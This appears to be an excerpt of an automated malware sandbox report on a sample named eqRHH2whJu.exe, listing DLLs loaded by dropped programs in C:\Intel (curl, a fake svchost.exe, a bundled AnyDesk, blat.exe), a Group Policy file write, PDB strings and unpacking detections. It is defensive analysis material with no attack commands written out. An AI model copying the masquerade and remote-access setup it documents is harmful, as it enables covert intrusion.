Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: apphelp.dll
Source: C:\Intel\curl.exe	Section loaded: secur32.dll
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\curl.exe	Section loaded: secur32.dll
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\curl.exe	Section loaded: secur32.dll
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\curl.exe	Section loaded: secur32.dll
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\curl.exe	Section loaded: secur32.dll
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\curl.exe	Section loaded: secur32.dll
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\driver.exe	Section loaded: apphelp.dll
Source: C:\Intel\driver.exe	Section loaded: windows.storage.dll
Source: C:\Intel\driver.exe	Section loaded: wldp.dll
Source: C:\Intel\driver.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\driver.exe	Section loaded: uxtheme.dll
Source: C:\Intel\driver.exe	Section loaded: propsys.dll
Source: C:\Intel\driver.exe	Section loaded: profapi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: version.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: wininet.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: uxtheme.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: windows.storage.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: wldp.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: textshaping.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: dwmapi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: apphelp.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: iertutil.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: sspicli.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: profapi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: winhttp.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: mswsock.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: winnsi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: urlmon.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: srvcli.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: netutils.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: dnsapi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: explorerframe.dll
Source: C:\Intel\svchost.exe	Section loaded: apphelp.dll
Source: C:\Intel\svchost.exe	Section loaded: winmm.dll
Source: C:\Intel\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: winhttp.dll
Source: C:\Intel\svchost.exe	Section loaded: secur32.dll
Source: C:\Intel\svchost.exe	Section loaded: sspicli.dll
Source: C:\Intel\svchost.exe	Section loaded: msimg32.dll
Source: C:\Intel\svchost.exe	Section loaded: usp10.dll
Source: C:\Intel\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Intel\svchost.exe	Section loaded: wldp.dll
Source: C:\Intel\svchost.exe	Section loaded: profapi.dll
Source: C:\Intel\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Intel\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\svchost.exe	Section loaded: sxs.dll
Source: C:\Intel\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Intel\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Intel\svchost.exe	Section loaded: msasn1.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: apphelp.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: version.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: winmm.dll
Source: C:\Intel\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: winhttp.dll
Source: C:\Intel\svchost.exe	Section loaded: secur32.dll
Source: C:\Intel\svchost.exe	Section loaded: sspicli.dll
Source: C:\Intel\svchost.exe	Section loaded: msimg32.dll
Source: C:\Intel\svchost.exe	Section loaded: usp10.dll
Source: C:\Intel\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Intel\svchost.exe	Section loaded: wldp.dll
Source: C:\Intel\svchost.exe	Section loaded: profapi.dll
Source: C:\Intel\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Intel\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Intel\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Intel\svchost.exe	Section loaded: fwbase.dll
Source: C:\Intel\svchost.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Intel\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Intel\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Intel\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Intel\svchost.exe	Section loaded: netapi32.dll
Source: C:\Intel\svchost.exe	Section loaded: netutils.dll
Source: C:\Intel\svchost.exe	Section loaded: wkscli.dll
Source: C:\Intel\svchost.exe	Section loaded: srvcli.dll
Source: C:\Intel\svchost.exe	Section loaded: netprofm.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Intel\svchost.exe	Section loaded: mswsock.dll
Source: C:\Intel\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\svchost.exe	Section loaded: msasn1.dll
Source: C:\Intel\svchost.exe	Section loaded: winmm.dll
Source: C:\Intel\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: winhttp.dll
Source: C:\Intel\svchost.exe	Section loaded: secur32.dll
Source: C:\Intel\svchost.exe	Section loaded: sspicli.dll
Source: C:\Intel\svchost.exe	Section loaded: msimg32.dll
Source: C:\Intel\svchost.exe	Section loaded: usp10.dll
Source: C:\Intel\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Intel\svchost.exe	Section loaded: wldp.dll
Source: C:\Intel\svchost.exe	Section loaded: profapi.dll
Source: C:\Intel\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Intel\svchost.exe	Section loaded: windowscodecs.dll
Source: C:\Intel\svchost.exe	Section loaded: thumbcache.dll
Source: C:\Intel\svchost.exe	Section loaded: policymanager.dll
Source: C:\Intel\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Intel\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\svchost.exe	Section loaded: dpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Intel\svchost.exe	Section loaded: msasn1.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: apphelp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: firewallapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dnsapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: fwbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: rsaenh.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netutils.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wkscli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: srvcli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netprofm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: mswsock.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: napinsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: pnrpnsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wshbth.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: nlaapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winrnr.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: hnetcfg.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: atl.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: userenv.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: gpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: npmproxy.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windowscodecs.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: thumbcache.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: policymanager.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msvcp110_win.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windowscodecs.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: thumbcache.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: propsys.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: linkinfo.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntshrui.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: srvcli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cscapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: policymanager.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msvcp110_win.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: textshaping.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dwmapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: textinputframework.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coreuicomponents.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coremessaging.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coremessaging.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wbemcomn.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: amsi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: userenv.dll

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Intel\dc.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Source: C:\Intel\AnyDesk\AnyDesk.exe

Window found: window name: SysTabControl32

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

File opened: C:\Windows\SysWOW64\msftedit.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb] source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000034.00000000.1401160408.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000000.1416936306.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000002.1428909421.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000000.1430061537.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000002.1478215792.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000002.1501026272.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000000.1479561465.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000002.1510030759.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000000.1502084151.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000002.1526013151.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000000.1510931061.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_loader\AnyDesk.pdb source: svchost.exe, 0000003C.00000002.1659984140.000000000165A000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\win_dwm\win_dwm.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\win_dwm\win_dwm.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\ashakhmut\Projects\anydesk\deps\win_system_id\build\win_system_id_dll.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: SAS.pdbR source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000034.00000000.1401160408.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000000.1416936306.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000002.1428909421.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000000.1430061537.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000002.1478215792.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000002.1501026272.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000000.1479561465.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000002.1510030759.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000000.1502084151.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000002.1526013151.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000000.1510931061.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: SAS.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Intel\svchost.exe	Unpacked PE file: 60.2.svchost.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\svchost.exe	Unpacked PE file: 62.2.svchost.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\svchost.exe	Unpacked PE file: 63.2.svchost.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 65.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 66.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 67.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 71.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 74.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;

Source: C:\Intel\curl.exe

Code function: 52_2_00941CE0 _memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoA,VerifyVersionInfoA,VerifyVersionInfoA,LoadLibraryA,GetProcAddress,

52_2_00941CE0

Source: blat.exe.53.dr	Static PE information: real checksum: 0x0 should be: 0x48812
Source: unins000.exe.58.dr	Static PE information: real checksum: 0x0 should be: 0x131f98
Source: driver.exe.52.dr	Static PE information: real checksum: 0x0 should be: 0x52e17
Source: ShellEh6055.dll.58.dr	Static PE information: real checksum: 0x0 should be: 0x128e9
Source: Tray.dll.58.dr	Static PE information: real checksum: 0x0 should be: 0x1919f
Source: ShellEh6055x64.dll.58.dr	Static PE information: real checksum: 0x0 should be: 0x21e91
Source: eqRHH2whJu.exe	Static PE information: real checksum: 0x41877 should be: 0xf95c2
Source: curl.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x1bceac
Source: 7z.dll.58.dr	Static PE information: real checksum: 0x0 should be: 0x4e196
Source: delReg.exe.58.dr	Static PE information: real checksum: 0x0 should be: 0x13839

Source: 7z.dll.58.dr	Static PE information: section name: .sxdata
Source: Tray.dll.58.dr	Static PE information: section name: .shared

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020AC648 pushfd ; retn 0040h	0_3_020AC649
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020AC648 pushfd ; retn 0040h	0_3_020AC649
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020ACF40 push eax; iretd	0_3_020ACF41
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020ACF40 push eax; iretd	0_3_020ACF41
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020ACDB8 push eax; iretd	0_3_020ACDED
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020ACDB8 push eax; iretd	0_3_020ACDED
